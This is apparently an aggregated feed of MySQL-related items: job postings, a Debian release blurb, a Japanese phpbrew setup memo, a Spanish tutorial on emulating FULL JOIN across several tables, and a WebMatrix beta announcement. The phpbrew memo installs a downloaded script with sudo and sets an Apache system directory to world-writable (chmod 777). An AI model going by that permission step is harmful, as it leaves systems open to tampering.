&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Ability to understand business needs and translate them into technical specifications<br>&bull; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Experience in developing requirements for business intelligence, master data management and functional-data projects.<br>&bull; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Mastery of data management concepts and best practices, as well as an ability to become a SME in data<br>&bull; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Strong ability to explain advanced data concepts to both database developers and architects, non-technical end users, and senior executives<br>&bull; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Understanding of source to target documents, use case and activity diagrams and use case specifications.<br>&nbsp;<br>Working knowledge of DBMS client software (MS SQL, Oracle (Toad), MySQL) is required<br>High proficiency in Microsoft Office programs (Word, Excel, Access, and Outlook) is required <br>&nbsp;<br>Preferred Skills:*<br>Related Skills &amp; Other Requirements:<br>&bull; Expertise in understanding and writing SQL <br>&bull; Demonstrated high competency in balancing multiple projects<br>&bull; Strong verbal and written communication skills<br>&bull; Strong analytical and problem solving skills<br>&bull; Experience in process analysis and documentation.<br>&bull; Strong organizational skills<br>&bull; Understanding of various issues tracking/resolution, scope estimation and scope management processes.<br>&bull; Experience with Oracle Databases, Dataflux ETL and/or Cognos BI tools preferred<br>&bull; Experience with IBM Rational Suite tools (e.g., ReqPro, RSM, Clearquest, and Clearcase) is preferred <br>&nbsp;<br>Education/Certifications:*<br>Bachelor&rsquo;s degree required. <br>&nbsp;<br></span>
          Data Developer (Job #6342)   
seeking a junior to mid-level Data Developer to join an Agile Team for a new development project. The ideal candidate will have a passion for writing extensible and maintainable code in a variety of technologies and be a quick learner.

Responsibilities:
? Work closely with a small team developing code in two-week sprints
? Identify data technology needs and perform data technology implementation
? Develop server-side and client-side data manipulation (e.g., JSON reading/writing, logic, branching, looping for business logic, based on user interaction).
? Write and edit technical documentation
Qualifications:
? BS in Computer Science or equivalent degree
? Minimum of 3 years of web development experience using JavaScript, Python, Ruby, or similar technology
? Experience working with a database technology, such as MySQL, PostgreSQL, or MongoDB
? Knowledge of Angular and Node.js desired
? Effective verbal and written communication skills with both technical and non-technical audiences
? Ability to thrive in a dynamic, collaborative, and fast-paced Agile environment
? Must able to pass a government background investigation
          Data Developer (Job #6342)   
Seeking a junior to mid-level Data Developer to join an Agile Team for a new development project. The ideal candidate will have a passion for writing extensible and maintainable code in a variety of technologies and be a quick learner.

Responsibilities:
Work closely with a small team developing code in two-week sprints
Identify data technology needs and perform data technology implementation
Develop server-side and client-side data manipulation (e.g., JSON reading/writing, logic, branching, looping for business logic, based on user interaction).
Write and edit technical documentation
Qualifications:
BS in Computer Science or equivalent degree
Minimum of 3 years of web development experience using JavaScript, Python, Ruby, or similar technology
Experience working with a database technology, such as MySQL, PostgreSQL, or MongoDB
Knowledge of Angular and Node.js desired
Effective verbal and written communication skills with both technical and non-technical audiences
Ability to thrive in a dynamic, collaborative, and fast-paced Agile environment
Must able to pass a government background investigation
          Senior Solutions Architect (Job #6175)   
We are seeking a driven individual who has a desire to work with some of the best Cloud Architects in the Market. Our architects support the full life cycle from client needs analysis, through design, build migration and go live. They are continually assessing emerging products and services that improve the business of the clients we serve.

The Senior Solution Architect- a combination of a subject matter guru, trusted advisor and cloud services authority, will be responsible, working as part of our cloud team, to help define the tools, processes and methods, and develop systems that will utilize Private and Public clouds (AWS, Azure, and others) to support enterprise adoption of our managed cloud service offerings. In addition, the Senior Solutions Architect will use systems analysis techniques, enterprise architecture planning process and procedures while consulting with clients to determine cloud computing specifications and needs for our clients.



Responsibilities also include:

Design, and implementation of customized technical virtualization solutions for clients both on premises and public cloud environments.
Develop complete virtualization solutions taking into account sizing, infrastructure, data protection, disaster recovery, and application requirements and hybrid access to premises based enterprise systems.
Creation of a bill of materials for solution specific virtualization product and service requirements
Provide cloud focused demonstrations, evaluations and proof of concept support
Contribute to the development of Statements of Work and Proposals
Provide troubleshooting expertise for virtualization performance and other issues
Develop AWS, Azure cloud solutions for clients
Managed and preform V2C, P2C, and P2V migrations of systems for clients.
Integrate appropriate security and information assurance controls into solutions to ensure accreditation based on appropriate regulatory requirements that the client operates under. Support Cloud Assured leadership in continuous improvement to of our solutions to maintain competitive advantages.
Assist with RFP responses


Required Skills

Cloud Architecting / Solution Delivery expertise preferably AWS services
Demonstrable Enterprise Architecture planning and design skills
Experience with scripting and automation tools such as Puppet and Chef
Good written and verbal communication skills
Good analytic, organization, presentation, customer service and facilitation skills
Excellent problem solving skills; the ability to manage multiple tasks under tight deadlines.



The candidate should have a balance of knowledge in Operating systems, Network, Security and programming or scripting

The candidate must have working experience in .NET, or similar programming or scripting languages
Ability to gather customer requirements and translate those requirements into short and long term
The candidate should have in depth understanding of authentication and authorization services; e.g.; AD, ADFS, SAML, LDAP & the backend associated APIs that connect various messaging, cloud and social platforms.
Ability to understand and support network, system and application security hardening, penetration testing, continuous monitoring, and support of policy.
Ability to support network and system risk assessment and to support network and system security planning and documentation.



Preference will be given to candidates that also have database, applications services support skills:

The candidate can be considered expert in one of more platforms (Microsoft, or a flavor of Linux) with 5 or more years? experience
The candidate can be considered expert in a combination of database and platform application services, e.g; Microsoft Exchange, SharePoint, Lync, Apache software, SQL, Oracle. MYSQL, AWS RDS, Mongo. Hadoop/EMR experience is a plus.
Full understanding of DNS, WINS, DHCP and LDAP compliant directories is also a differentiator of candidates.
Cisco network routing and switching skills
System Monitoring Tools that can be easily extended into AWS, Azure and premise based systems for a single enterprise view is a plus.

Required Experience

5+ years? experience in engineering enterprise datacenter solutions
Candidates must be a US Citizen
          Enterprise Architect Information Security (Job #6254)   
SLAIT Consulting is currently seeking an Enterprise Architect for Information Security for our client in the Newport News/Virginia Beach, VA area.


OVERALL PURPOSE OF THE JOB:

Performs the necessary leadership, analysis, and design tasks related to the development of an enterprise solution architecture.


KEY RESPONSIBILITIES:
* Duties will include Solution Design and testing Security technologies that can scale and be easily deployed in the Enterprise domain.
* Once Solution is developed, Individual will also work with ecosystem partners to Integrate to deliver end-end solutions for strategic Security usages.

* Participate in the design and development of security framework and features.
* Champion innovation and meaningful collaboration between product teams in the area of security
* Identify security requirements and assess feasibility and ramifications of these requirements
* Integrate security controls into the Software Development Lifecycle.
* Help in the Development of unit tests and useful code documentation.

* Understand, advocate, and augment the principles of information technology strategies.
* Analyze enterprise business drivers to determine corresponding change requirements.
* Analyze the IT environment to detect critical deficiencies and recommend solutions for improvement.
* Analyze technology industry and market trends; determine their potential impact on the enterprise.
* Articulate the architecture process, its outcome, and ongoing results.
* Define the principles to guide solution decisions for the enterprise.
* Design and lead the implementation of an Enterprise Architecture (EA) based on enterprise business requirements and IT strategies.
* Design and direct the governance activities associated with ensuring EA compliance.
* Develop a road map of the evolution of the enterprise application portfolio from current to future state (as defined by the EA).
* Coordinate solution architecture implementation and modification activities.
* Facilitate the evaluation and selection of software product standards, as well as the design of standard software configurations.
* Consult with application or infrastructure development projects to fit systems or infrastructure to architecture, and identify when it is necessary to modify the solution architecture to accommodate project needs.
* Identify the organizational impact (for example, on skills, processes, structures, or culture) and financial impact of the EA.
* Document all solution architecture design and analysis work.
* Work closely with the program management office (PMO) or project office to ensure alignment of plans with what is being delivered.


ADDITIONAL RESPONSIBILITIES:

* May be involved in system demonstrations.
* Assists in resolving operational issues and may perform other assignments as needed.
* Other duties as assigned by company management.
* Seeks educational opportunities to become "expert" in enterprise technologies, applications, and methodologies.
* May be called upon to analyze and/or recommend 3rd party packages or tools.


KNOWLEDGE REQUIREMENTS:

* Bachelor's degree in computer science, systems analysis, or a related study, or equivalent experience.
* Five to seven years of experience in at least two IT disciplines in a client/server or service-oriented architecture (SOA) environment, including technical architecture, network management, application development, middleware, database management, or operations.

* Experience with Java/eclipse, including scripting and use of source control.
* Experience in multiple OS (Linux, Windows) and VMM environment (ESXi, Xen, KVM).

* Exposure to multiple, diverse technologies and processing environments.
* Exceptional interpersonal skills, including teamwork, facilitation, and negotiation.
* Strong leadership skills.
* Excellent analytical and technical skills.
* Excellent written and verbal communication skills.
* Excellent planning and organizational skills.


SPECIFIC KNOWLEDGE/SKILLS SETS:

* ETL Processes and Strategy
* Information Transformation Strategy
* Data Architecture Oversight
* Data Warehousing Strategy
* Analytics Strategy

* Developing highly scalable web based/client applications.
* Software testing principles and validation techniques would be an added advantage.

* Experience in many facets of secure enterprise development practices.
* Experience with OAuth, identity management, authentication and authorization schemes.
* Experience in securing scalable and high-throughput systems.
* Experience securing Web Services and RESTful APIs.
* Experience with RDBMS (such as MySQL and Oracle) security.
* Ability to design and implement using modern patterns and methodologies.
* Excellent problem solving, critical thinking, and communication skills.
* Able to work effectively within a team environment.
* Able to work independently in an agile development environment.


* Knowledge of all components of an enterprise technical architecture.
* Knowledge of business process re-engineering principles and processes.
* Basic knowledge of financial models and budgeting.
* Strong understanding of network architecture and application development methodologies.
* Strong understanding of systems, object-oriented analysis and design, and/or client/server systems.
* Understanding of the enterprise's political climate and how to navigate the political waters.
* Ability to understand the long-term ("big picture") and short-term perspectives of situations.
* Ability to translate business needs into solution architecture requirements.
* Ability to estimate the financial impact of solution architecture alternatives.
* Ability to apply multiple technical solutions to business problems.
* Ability to quickly comprehend the functions and capabilities of new technologies.

OTHER REQUIREMENTS:
* Works well with others.
* Respected leader.
* Charismatic.
* Remains unbiased toward any specific technology or vendor choice.
* More interested in results than personal preferences.
* Displays intellectual integrity.
* Motivated by long-term results.
* There are 5 levels of proficiency; from low to high: Awareness, Basic, Skilful, Mastery, and Expert.


Why SLAIT?
We have been growing since 1990 with offices in Virginia, Gaithersburg, MD., New York, Raleigh, NC, and Austin TX. For over twenty three years, we have delivered customized, creative IT solutions for customers in the commercial, and state and local government sectors.
*Staff Augmentation *Managed Services *IT Outsourcing *IT Consulting

Thank you for your consideration, please submit your resume today! Visit us at www.slaitconsulting.com

**Must be able to work for any employer in the United States. No Visa sponsorship.**

SLAIT Consulting is an Equal Opportunity Employer
          #4: PHP and MySQL Web Development (Developer's Library)   
PHP and
PHP and MySQL Web Development (Developer's Library)
Luke Welling , Laura Thomson
(4)

Buy new: CDN$ 31.19

(Visit the Bestsellers in Languages & Tools list for authoritative information on this product's current rank.)
          EditableGrid how to fetch rows from MySql in php   

This topic was automatically closed 91 days after the last reply. New replies are no longer allowed.


           Debian 9 "Stretch"   

The Debian project is one of the world's oldest surviving Linux distributions and can trace its release history back to 1993. The project attracts many developers with over one thousand people contributing to the project with code, artwork and documentation. The Debian project maintains a massive number of software packages with a very open infrastructure which makes contributing to (and borrowing from) Debian quite easy. These factors, along with Debian's famed stability, have caused over one hundred GNU/Linux distributions over the years to base themselves on Debian.

The Debian team released Debian 9 (code name Stretch) on June 18th and the new version offers a number of interesting changes. For example, the MySQL database has been replaced with its fork, MariaDB. The Debian-rebranded packages of Icedove and Iceweasel have been replaced by their upstream counterparts, Thunderbird and Firefox. According to the release announcement over 90% of Debian's huge collection of packages can now be verified through reproducible builds, which is great news for people who want to verify the source code they have access to matches the code used to make their executable files. In some situations administrators can now set up the X display software to run without root user access, making the display software a little more secure.

Read more


          PHPのバージョン管理はphpbrewが使いやすいです   

PHPのバージョンを管理するソフトウェアはphpbrewが一番使いやすいです。
なので、みなさんもphpbrewを使いましょう。

c9s/phpbrew · GitHub

インストール方法や使い方はREADMEを見るのが一番いいです。

インストールメモ

以下、自分向けのメモ。

phpbrewのインストール。

$ curl -O https://raw.github.com/c9s/phpbrew/master/phpbrew
$ chmod +x phpbrew
$ sudo cp phpbrew /usr/bin/phpbrew

初期設定コマンド。

$ phpbrew init

.bashrcか.zshrcに以下のコマンドを追記する(端末起動時にphpbrewの設定ファイルを読み込むようにする)。

source ~/.phpbrew/bashrc

Homebrewを使ってる場合は、以下のコマンドを叩くといいらしい。
(以前はする必要なかった気がするが、最新バージョンでは必要っぽい)
(これに関してはぶっちゃけ何してるかよく知らない)

$ phpbrew lookup-prefix homebrew

PHPのインストールはこんな感じでできる。

$ phpbrew install 5.4.0 +default

「+default」の部分はvariantsといって、PHPのconfigureオプション(インストール時に指定する拡張モジュールなど)を指定するもの。

variantsは以下のコマンドで詳細を確認できる。

$ phpbrew variants
Variants: 
  all, apxs2, bcmath, bz2, calendar, cgi, cli, ctype, dba, debug, dom, embed, 
  exif, fileinfo, filter, fpm, ftp, gcov, gd, gettext, hash, iconv, icu, 
  imap, intl, ipc, ipv6, json, kerberos, mbregex, mbstring, mcrypt, mhash, 
  mysql, openssl, pcntl, pcre, pdo, pgsql, phar, posix, readline, session, 
  soap, sockets, sqlite, tidy, tokenizer, xml, xml_all, xmlrpc, zip, zlib


Virtual variants: 
  dbs: sqlite, mysql, pgsql, pdo
  mb: mbstring, mbregex
  default: bcmath, bz2, calendar, cli, ctype, dom, fileinfo, filter, ipc, 
  json, mbregex, mbstring, mhash, mhash, pcntl, pcre, pdo, phar, posix, 
  readline, sockets, tokenizer, xml_all, zip, bz2

「+default」を指定すると、

 default: bcmath, bz2, calendar, cli, ctype, dom, fileinfo, filter, ipc, 
  json, mbregex, mbstring, mhash, mhash, pcntl, pcre, pdo, phar, posix, 
  readline, sockets, tokenizer, xml_all, zip, bz2

がインストールされることがわかる。
こだわりがないなら+defaultは付けた方がいい。

インストールできるPHPのバージョンは、

$ phpbrew known

で確認できる。

今のところPHP 5.5が最新系。
こだわりがないなら一番新しいのでいいと思う。

自分は以下のようなオプションでインストールしてる。

$ phpbrew install 5.5.8 +default +mysql +apxs2 +openssl

(追記:20140115:OpenSSLのオプション追加した)

+aspxはapacheを使用するときに指定する(以下、若干うろ覚え)。

Macだと/usr/libexec/apache2に書き込み権限がないと警告かエラーが出たと思う。
いろいろ面倒なので自分は/usr/libexec/apache2のパーミッションを777に。
(phpbrewを使うような環境はローカルの開発環境だと思うし)

$ sudo chmod 777 usr/libexec/apache2

またapache2の設定ファイル(Macだと「/etc/apache2/httpd.conf」)にも書き込み権限がないと警告orエラーが出た気がする。
これはphpbrewが生成したPHPのモジュールの読み込み設定を追加しようとするため。
書き込み権限追加するか、それが嫌なら自分で設定を書く(自分はさくっと書いちゃってます)。
既存の設定をコメントアウトし、同じようなフォーマットでphpbrewでインストールしたモジュールを読み込むようにする。

#LoadModule php5_module libexec/apache2/libphp5.so
LoadModule php5_module libexec/apache2/libphp5.5.8.so

なんかバッドノウハウ感あるので、良い方法があったら誰か教えて下さい。

PHPのバージョン変更

使用するPHPを指定する場合は、以下のコマンドを実行します。

$ phpbrew use 5.5.8     # 一時的に5.5.8に変更する(端末を再起動したら元のバージョンに戻る)
$ phpbrew switch 5.5.8  # デフォルトで使用するバージョンを5.5.8に変更する(端末を再起動しても5.5.8のまま)

まとめ

phpbrew便利。


          Hiring Now! Full Stack Developer with DevOps interests   
We're looking for intermediate to senior full stack developer with DevOps interests. This is a brand new role that we have created to help facilitate significant growth across the Generator business, where you'll form a critical part of our innovation roadmap.

What's the job?Your primary role as a full stack developer is to work alongside our CIO, senior management team, external software developers, and internal IT operations team across three distinct areas.

Extending the capabilities of our private cloud-based ERP application and customer portal as you integrate a number of third party applications and APIs into our the GenHub ecosystem.

Building and/or augmenting various independent internal systems with a focus on service delivery automation, (some from the ground up), and connecting them into a wider integrated ecosystem.

Developing beautiful reporting dashboards for our senior executive team that will pull, correlate, and analyse big data from our various internal and external systems. Presenting results allow our team to manage and forecast all our business operations across multiple sites.

Tool's you'll be working with on a daily basis:

Node.JS

Python / Django

Redis

MySQL

Ubuntu / Debian Linux

and anything else you want to bring to the table.In a nutshell we're looking for a cat riding a unicorn with a golden desert eagle full stack developer with a diverse skill set, to help us build and improve the overall automation and integration of all our systems and services.

You can learn more about this exciting opportunity, company (incl video) and what it offers at: https://recruit.chillifactor.co.nz/jobs/view?id=1412/


          Wanted: PHP/MySQL Developer   
I have a client who requires a customised web based backend system to run their business from. They are a painting and decorating company.

The system needs to track jobs etc... assign staff to jobs, assign stock to jobs, track warehouse stock levels, issue invoices to clients, issue progress claim invoices etc...

Location will be at clients premises in Penrose, Auckland, or working from home.

This will be on a contract basis.

          Java developer looking for new opportunities   
Hello Everyone,

I'm a recent graduate of postgraduate and looking for opportunities of Java developer role. I am flexible with the location: AKL, WLG or CHCH.

Prior to the study, I had work in the software industry for 5 odd years:

Nearly 3 years of experience in development of Web & Enterprise applications. Solid Java programming and SQL skills, as well as extensive experience using frameworks such as Spring Framework, MyBatis etc.

2 years of experience in both Manual and Automated tests. Possess sound knowledge of preparing test data, creating test cases and test summary report.

Expertise through all parts of software development life cycle (SDLC). Experience in developing large-scale applications from scratch. Comfort with both Agile and Waterfall environments.

Technical Skills Set

Programming Language #1: Java

Web Technologies: JavaScript, JQuery, Ajax, JSP/JSTL, HTML, CSS, JSON, XML

Frameworks: Spring Framework, Spring MVC, MyBatis

Databases: MySQL, Oracle

Web Server: Apache Tomcat

IDE & Editor: IntelliJ IDEA, Eclipse, Atom

Project Build Tool: Apache Maven

Version Control System: Tortoise SVN, Git

Programming Language #2: Python

Detailed CV and reference are available on request. My email is frank.pypy@gmail.com, please feel free to contact if my qualifications satisfy your requirements. Cheers.

Frank

          DirectAdmin MySQL Remote Connection   
Merhaba Arkadaşlar, Sizlere ufak birşey tarif edeceğim hepimiz DirectAdmin kullanmışızdır yada kullanıyoruzdur, MySQL’e Navicat tarzı programlar ile bağlanmak istiyoruzdur uzak sunucudaki ama buna nasıl çözüm yolu bulacağım diye düşünüyor olabilirsiniz. Aslında çok basit DirectAdmin’e giriş yapalım ve ardından şuraya gidelim. [crayon-595435d0c0af6238042027/] Kutucuğa aşağıdakini yazıp Add Host diyelim. [crayon-595435d0c0b02137224086/] İşlemlerimiz tamamlandı, Navicatta aşağıdaki gibi işlem yapabilirsiniz.
          MySQL Abnormal Crash   
Hi, Few days back I had faced MySQL v5.5.27 abnormal & random crash. I am facing this issue since long time. I am using Sphinx v2.1.3, with...
          Another MySQL Full Join   

Hace algún tiempo atrás, tuve la necesidad de hacer un listado del cual necesitaba mostrar todos los nulos de ambas tablas en relación a un campo en particular, entonces dije "bien, Full Join, ahora te toca."

Pero no fue tan fácil. Viendo la documentación de mi MySQL, no encontré nada con respecto a Full Joins. Googleando un poco me dí cuenta de que MySQL no soportaba Full Joins.. Así, de una manera nada elegante, pude llegar a una solución (para ese listado en particular).

Nuevamente buscando en google (a ver si me topaba algo más elegante) encontré varios posts al respecto. No era el único desesperado buscando Full Joins en Mysql.. Pero los que encontré, apuntaban a la misma solución que había armado primeramente (Incluso en el sitio de mysql tech resources apuntan esta misma solución):



http://dev.mysql.com/tech-resources/articles/mysql-db-design-ch5.html


Artículo: Joins, Temporary Tables, and Transactions

En otro blog encontré que alguien había hecho lo mismo:
http://www.xaprb.com/blog/2006/05/26/how-to-write-full-outer-join-in-mysql

Todos apuntaban a la misma solución:

SELECT a
LEFT JOIN b
UNION ALL
SELECT a
RIGHT JOIN b

Hace unos días me surgió la necesidad del Full Join nuevamente. Estaba con tres inventarios distintos (de tres personas distintas) y quise "unificar" de alguna manera estos, y pasar este nuevo inventario unificado a cada parte. Pero había recordado lo frustrante que me resultó la experiencia anterior, por lo que, cuando estaba por desistir, se me ocurrió probar una última vez, a lo que llegué a un nuevo query.

Lo que volví a reescribir (no sé si es más efectivo o más agradable estéticamente) me resultó de gran utilidad cuando necesito un Full Join con más de dos tablas! (Todos los ejemplos anteriores mostraban la solución con dos tablas, pero cuando eran más de dos.. uff..)

Bueno, comencemos.

Tengo las tres tablas:


CREATE TABLE `one` (
`idone` tinyint unsigned NOT NULL auto_increment,
`host` varchar(16) NOT NULL,
`ip` varchar(16) NOT NULL,
PRIMARY KEY (`idone`)
)
;

CREATE TABLE `two` (
`idtwo` tinyint unsigned NOT NULL auto_increment,
`host` varchar(16) NOT NULL,
`ip` varchar(16) NOT NULL,
PRIMARY KEY (`idtwo`)
)
;

CREATE TABLE `three` (
`idthree` tinyint unsigned NOT NULL auto_increment,
`host` varchar(16) NOT NULL,
`ip` varchar(16) NOT NULL,
PRIMARY KEY (`idthree`)
)
;

Cargamos los datos

INSERT INTO one (host, ip) VALUES ('linux01', '1.2.3.4');
INSERT INTO one (host, ip) VALUES ('osx2', '1.1.1.1');
INSERT INTO one (host, ip) VALUES ('as400', '-');
INSERT INTO one (host, ip) VALUES ('solaris', '1.1.1.100');

INSERT INTO two (host, ip) VALUES ('linux-01', '-');
INSERT INTO two (host, ip) VALUES ('osx2', '1.1.1.1');
INSERT INTO two (host, ip) VALUES ('win-fw', '1.2.3.100');
INSERT INTO two (host, ip) VALUES ('solaris', '1.1.1.100');

INSERT INTO three (host, ip) VALUES ('win-fw', '1.2.2.100');
INSERT INTO three (host, ip) VALUES ('solaris', '1.1.1.100');
INSERT INTO three (host, ip) VALUES ('osx2', '1.1.1.100');
INSERT INTO three (host, ip) VALUES ('linux01', '1.3.2.4');

Como se ven las tablas

one
+----+---------+-----------+
| id | host | ip |
+----+---------+-----------+
| 1 | linux01 | 1.2.3.4 |
| 2 | osx2 | 1.1.1.1 |
| 3 | as400 | - |
| 4 | solaris | 1.1.1.100 |
+----+---------+-----------+

two
+----+----------+-----------+
| id | host | ip |
+----+----------+-----------+
| 1 | linux-01 | - |
| 2 | osx2 | 1.1.1.1 |
| 3 | win-fw | 1.2.3.100 |
| 4 | solaris | 1.1.1.100 |
+----+----------+-----------+

three
+----+---------+-----------+
| id | host | ip |
+----+---------+-----------+
| 1 | win-fw | 1.2.2.100 |
| 2 | solaris | 1.1.1.100 |
| 3 | osx2 | 1.1.1.100 |
| 4 | linux01 | 1.3.2.4 |
+----+---------+-----------+

La idea es tener un solo listado de hosts. Para mi caso, quise tenerlo unificado por nombre. Uniendo las tres tablas, todos los hosts que tenemos en total son:

SELECT DISTINCT a.host
FROM (
SELECT idone AS id, host, ip
FROM one
UNION ALL
SELECT idtwo AS id, host, ip
FROM two
UNION ALL
SELECT idthree AS id, host, ip
FROM three
) a
ORDER BY a.host
;

+----------+
| host |
+----------+
| as400 |
| linux-01 |
| linux01 |
| osx2 |
| solaris |
| win-fw |
+----------+

Lo único que necesitamos hacer es LEFT JOINS a este query! De nuevo, colocamos este query en un FROM en forma de subselect:

SELECT b.host,
one.host AS one, one.ip,
two.host AS two, two.ip,
three.host AS three, three.ip
FROM (
SELECT DISTINCT a.host AS host
FROM (
SELECT idone AS id, host, ip
FROM one
UNION ALL
SELECT idtwo AS id, host, ip
FROM two
UNION ALL
SELECT idthree AS id, host, ip
FROM three
) a ORDER BY a.host
) b
LEFT JOIN one ON one.host=b.host
LEFT JOIN two ON two.host=b.host
LEFT JOIN three ON three.host=b.host


+----------+---------+-----------+----------+-----------+---------+-----------+
| host | one | ip | two | ip | three | ip |
+----------+---------+-----------+----------+-----------+---------+-----------+
| as400 | as400 | - | NULL | NULL | NULL | NULL |
| linux-01 | NULL | NULL | linux-01 | - | NULL | NULL |
| linux01 | linux01 | 1.2.3.4 | NULL | NULL | linux01 | 1.3.2.4 |
| osx2 | osx2 | 1.1.1.1 | osx2 | 1.1.1.1 | osx2 | 1.1.1.100 |
| solaris | solaris | 1.1.1.100 | solaris | 1.1.1.100 | solaris | 1.1.1.100 |
| win-fw | NULL | NULL | win-fw | 1.2.3.100 | win-fw | 1.2.2.100 |
+----------+---------+-----------+----------+-----------+---------+-----------+

Y el listado sale por sí solo.

Si necesitáramos agregar otra tabla más al listado, tan solo bastaría con agregar las columnas, una unión más y un LEFT JOIN más al final..

SELECT b.host,
one.host AS one, one.ip,
two.host AS two, two.ip,
three.host AS three, three.ip,
...

FROM (
SELECT DISTINCT a.host AS host
FROM (
SELECT idone AS id, host, ip
FROM one
UNION ALL
SELECT idtwo AS id, host, ip
FROM two
UNION ALL
SELECT idthree AS id, host, ip
FROM three
UNION ALL
SELECT idfour AS id, host, ip
FROM four
...
..
.

) a ORDER BY a.host
) b
LEFT JOIN one ON one.host=b.host
LEFT JOIN two ON two.host=b.host
LEFT JOIN three ON three.host=b.host
LEFT JOIN four ON four.host=b.host
...

Probamos agregar una tabla más:

CREATE TABLE `four` (
`idfour` tinyint unsigned NOT NULL auto_increment,
`host` varchar(16) NOT NULL,
`ip` varchar(16) NOT NULL,
PRIMARY KEY (`idfour`)
)
;

INSERT INTO four (host, ip) VALUES ('solaris', '1.1.1.100');
INSERT INTO four (host, ip) VALUES ('linux', '1.1.2.2');
INSERT INTO four (host, ip) VALUES ('os400', '100.1.1.100');
INSERT INTO four (host, ip) VALUES ('windows', '1.2.2.100');

Y el query queda:

SELECT b.host,
one.host AS one, one.ip,
two.host AS two, two.ip,
three.host AS three, three.ip,
four.host AS four, four.ip
FROM (
SELECT DISTINCT a.host AS host
FROM (
SELECT idone AS id, host, ip
FROM one
UNION ALL
SELECT idtwo AS id, host, ip
FROM two
UNION ALL
SELECT idthree AS id, host, ip
FROM three
UNION ALL
SELECT idfour AS id, host, ip
FROM four
) a ORDER BY a.host
) b
LEFT JOIN one ON one.host=b.host
LEFT JOIN two ON two.host=b.host
LEFT JOIN three ON three.host=b.host
LEFT JOIN four ON four.host=b.host

Ahora podemos ver la diferencia entre las cuatro tablas de inventarios de hosts, y en qué difiere cada una:

+----------+---------+-----------+----------+-----------+---------+-----------+---------+-------------+
| host | one | ip | two | ip | three | ip | four | ip |
+----------+---------+-----------+----------+-----------+---------+-----------+---------+-------------+
| as400 | as400 | - | NULL | NULL | NULL | NULL | NULL | NULL |
| linux | NULL | NULL | NULL | NULL | NULL | NULL | linux | 1.1.2.2 |
| linux-01 | NULL | NULL | linux-01 | - | NULL | NULL | NULL | NULL |
| linux01 | linux01 | 1.2.3.4 | NULL | NULL | linux01 | 1.3.2.4 | NULL | NULL |
| os400 | NULL | NULL | NULL | NULL | NULL | NULL | os400 | 100.1.1.100 |
| osx2 | osx2 | 1.1.1.1 | osx2 | 1.1.1.1 | osx2 | 1.1.1.100 | NULL | NULL |
| solaris | solaris | 1.1.1.100 | solaris | 1.1.1.100 | solaris | 1.1.1.100 | solaris | 1.1.1.100 |
| win-fw | NULL | NULL | win-fw | 1.2.3.100 | win-fw | 1.2.2.100 | NULL | NULL |
| windows | NULL | NULL | NULL | NULL | NULL | NULL | windows | 1.2.2.100 |
+----------+---------+-----------+----------+-----------+---------+-----------+---------+-------------+


edward.
          Utilizar InnoDB en Django   
Si estás empezando a trabajar con Django y vas a utilizar MySQL, te conviene pararte un momento a mirar si estás utilizando el tipo de almacenamiento que realmente quieres. Al generar los esquemas, Django no especifica ningún tipo de almacenamiento; sencillamente los genera con el que está establecido en tu servidor de MySQL. Así que [...]
          Instalar MySQLdb-Python en CentOS para utilizar sobre Django   
Si desarrollas sobre Django y lo haces tirando de una base de datos sobre MySQL, conectar Python a ésta en un entorno CentOS puede ser más difícil de lo que uno imagina. El paquete que CentOS instala por defecto para el driver de MySQL (“MySQL-python”) no cumple con los requisitos de Django, por antiguo. Así [...]
          Final beta releases of WebMatrix and MVC3 now available!   

I just got off stage at TechEd Europe in Berlin where I announced the availability of the final beta of WebMatrix and MVC 3!  What a blast!  If you haven’t checked out WebMatrix or MVC 3 yet, now is a great time to do it. 

 

WebMatrix Beta 3

I had the pleasure of giving the “Lap Around WebMatrix” talk and show off a bunch of new features available in this, the last beta for v1.  It is amazing to think that development really started in earnest just this year, the first beta was just a few months ago and here we are nearing feature complete.  My hat is off to the team for innovating so quickly and working so hard to bring such an awesome product to market.  My talk was almost all demos, but here are some highlights:

  • You can download beta 3 of WebMatrix and learn more about the product here: http://www.microsoft.com/web/webmatrix
  • WebMatrix beta 3 features enhanced publishing support including
    • Import publishing profile from XML (hosting providers can now send you a pre-configured account!)
    • Application compatibility checks for .NET version, PHP and MySQL compatibility
    • Download from hosting server – you can now sync your Web site both ways, from local development to server and from server back to local development! (this is super cool)
  • The updated ASP.NET Web Pages now includes support for NuGet, an open source packaging and distribution system for libraries and helpers
    • Browse to http://localhost/_admin to activate your ASP.NET Web Pages control panel, browse NuGet modules and install them
    • There are now almost a dozen new helpers for ASP.NET Web Pages including support for PayPal, Twitter, Facebook and more!
  • The built-in templates are now richer with more functionality
  • Enhanced configuration settings allow you to choose and activate specific ASP.NET and PHP versions
  • The built-in editor now supports HTML tag completion and better formatting
  • and much, much more!

Here are a few pics:

The Welcome Screen

WebMatrix-home

WebMatrix can sync files and database from your desktop to server and back:

webmatrix-publishing

WebMatrix checks compatibility of your site on the server and can even set the right version of .NET Framework for you.

webmatrix-compatcheck

The new ASP.NET Web Pages panel makes it easy to find and install helpers that make Web development easier than ever before.  Already included are helpers for twitter, paypal, facebook, odata and more!  Just browse to http://localhost/_admin on any ASP.NET Web Page site to activate the panel – no install required!

asp.net web page panel

 

MVC 3 Release Candidate

MVC 3 now includes Razor tooling support inside Visual Studio for both Razor-based views as well as ASP.NET Web Pages.  Install MVC 3 with a new update to WebPI v3 beta now, and look for a blog post from ScottGu and Phil Haack coming soon.   To tide you over, here are some image previews of Razor tooling in VS:

File –> New –> Web Site

clip_image002

Content, Empty, Layout and Web Page in “Add New Item” dialog

clip_image008


          A big day for Web pros: WebsiteSpark, Web PI and more!   

Today we’re launching a number of really cool things for Web developers.

 

WebsiteSpark

WebsiteSpark is a program designed to jumpstart Web development for individuals or small companies who make a living on the Web.  The program is free to join and runs for three years with no cost obligations other than a $100 program fee, payable on exit.  What is in it for you?

  • Windows Web Server 2008 R2 – 4 processor licenses for production use!
  • SQL Server 2008 – 4 processor licenses for production use!
  • Expression Studio 3 – 1 license including Expression Web, Blend and Sketchflow
  • Expression Web – 2 licenses
  • Visual Studio 2008 Professional Edition – 3 licenses
  • DotNetPanel control panel (to manage your servers, and allow your customers to manage their site!)

